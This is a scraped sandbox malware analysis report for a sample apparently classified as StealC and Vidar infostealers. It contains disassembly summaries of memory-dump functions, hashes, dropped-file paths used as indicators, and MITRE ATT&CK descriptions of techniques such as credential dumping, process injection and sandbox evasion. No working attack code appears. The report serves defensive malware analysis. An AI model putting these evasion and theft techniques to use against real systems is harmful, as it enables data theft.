Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 9309eb5dba93e5fdaa3cbac4db5acf30c165d42fb7304bb5932f71a3f644b48c
Instruction ID: eb43aa76b030a285c851cdcde1526041a2b8856300b8205c60b1a1208fa67899
Opcode Fuzzy Hash: 9309eb5dba93e5fdaa3cbac4db5acf30c165d42fb7304bb5932f71a3f644b48c
Instruction Fuzzy Hash: 9B41E271909B55CFC311CF38C481A9BB7F4EF9A348F009A1DF999A7651E730D9488B82

Function 6C973CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C973D19
mozalloc_abort.MOZGLUE(?), ref: 6C973D6C

Strings

d, xrefs: 6C973D58

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: e04803f12f7d871ee53e6cff56517c4eca469b5d876c7b10069d06223fefcab4
Instruction ID: bde5d0ad0f23ce39f494df7e0c348479364c8ee1fec9be4dcbcf68869896ef55
Opcode Fuzzy Hash: e04803f12f7d871ee53e6cff56517c4eca469b5d876c7b10069d06223fefcab4
Instruction Fuzzy Hash: E5112732E08688E7DB109BB9C9144EEB779FF96318B448319DC4597702FB30E584C360

Function 6C996DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C996E22
__Init_thread_footer.LIBCMT ref: 6C996E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C996E1D

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 40b34511dc0a5b449d1ea9ea662c9b0d5a038fd6d05167df6ff33e883695d965
Instruction ID: 931f72748fe9b930c0b885df100a646738681d58e96fdc8cc07338b506d82e26
Opcode Fuzzy Hash: 40b34511dc0a5b449d1ea9ea662c9b0d5a038fd6d05167df6ff33e883695d965
Instruction Fuzzy Hash: 75F0B47D60D24AEBEB008BBCC850A937775576721CF280165CC0546F91D731E92ACAEB

Function 6C94BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C94BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C94BEF5

Strings

cryptbase.dll, xrefs: 6C94BEF0

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c384ab86d2143dd5b64dd746c8ec8863ec9d2fa5c87790257fc045823374c771
Instruction ID: 9c6843b243cd0c66a7efb14594550b44c9556b2b9ec3c088f4c646e07ebe2831
Opcode Fuzzy Hash: c384ab86d2143dd5b64dd746c8ec8863ec9d2fa5c87790257fc045823374c771
Instruction Fuzzy Hash: 4BD0C731194508F6D7506AA48D49F1F37789755715F20C021F755549A1C7B1D450DFD4

Function 6C98B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B628

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C98B127,?,?,?,?,?,?,?,?), ref: 6C98B74D

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: edf36e881ec820b75507d767afd00c0493e1d5c4c83c154398539db8eecfc354
Instruction ID: 2fcfd06d3e0be8a95e03f1e76178f6dba52d5e97c36590db57580a29b84da89b
Opcode Fuzzy Hash: edf36e881ec820b75507d767afd00c0493e1d5c4c83c154398539db8eecfc354
Instruction Fuzzy Hash: 2451CB71A063168BEF14CF18C98066EB7B5FF85714F59892DD85AABB10DB31E804CBA1

Function 6C986E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C986EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C986EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C986F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C986F5C

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 0c010409da1a80adaa53b45fe10dce7b9c317d3a90893c3da6a8d53de855d19c
Instruction ID: 5d658adb7f9bd6a054d040df3a810e526cad90dbf0824fdf2abb280aadba6d1b
Opcode Fuzzy Hash: 0c010409da1a80adaa53b45fe10dce7b9c317d3a90893c3da6a8d53de855d19c
Instruction Fuzzy Hash: 0231F671A2160A8FDB04CF2CC981AAA73E9FF94304F50453DD41ACB661EF31E669C7A1

Function 6C99B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C940A4D), ref: 6C99B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C940A4D), ref: 6C99B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C940A4D), ref: 6C99B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C940A4D), ref: 6C99B67F

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: eed9b71bea18079e72142323abdc8058d20ac8fad6d56ee39c923e9ba544756b
Instruction ID: 8acc8fb5a9dbbb84c646dcbb8c73ea7d3757ce5fc067766514465aa767f47405
Opcode Fuzzy Hash: eed9b71bea18079e72142323abdc8058d20ac8fad6d56ee39c923e9ba544756b
Instruction Fuzzy Hash: A2310671A0021A8FDB20CF58C84466ABBF9FF81325F1A8529D80ADB311DB35F915CBE0

Function 6C96F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C96F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C96F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C96F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C96F668

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 5e7458d6f5d138586bc0b72184c461edd8654fd4f4c94c9e2514e18a1f5a2d3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 92316171A00214AFDB14CF5ECDC0AAB77B9EB94358B14853CFA4A8BF04D632ED458B90

Function 6C9826B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9826C1
free.MOZGLUE(?), ref: 6C9826E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9826FF
free.MOZGLUE ref: 6C98270D

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 82790be9d13565d0be33615a22db6d8635ec1bfe9e5e680c8695c9db8f5978b4
Instruction ID: bfe6920157d03f7a46c69c24bcdb804644286aab3d25539f9093387ba293ba96
Opcode Fuzzy Hash: 82790be9d13565d0be33615a22db6d8635ec1bfe9e5e680c8695c9db8f5978b4
Instruction Fuzzy Hash: 0EF0F9B27026056BEB009A18D88495B73ADEF51218B600435FA16C3B02E332F918C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFIIJDA

C:\ProgramData\BKKJKFBKKECFHJKEBKEHIDAEBK

C:\ProgramData\CBKJKJDBFIIDHJKEHJEH

C:\ProgramData\DHIECGCAEBFIIDHIDGIE

C:\ProgramData\EHJKFCGH

C:\ProgramData\GCGIDGCGIEGDGDGDGHJK

C:\ProgramData\GDHIDHIEGIIIECAKEBFBAAEBKF

C:\ProgramData\IIJDBGDGCGDAKFIDGIDBFIEHDH

C:\ProgramData\JKJDAEBFCB.exe

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre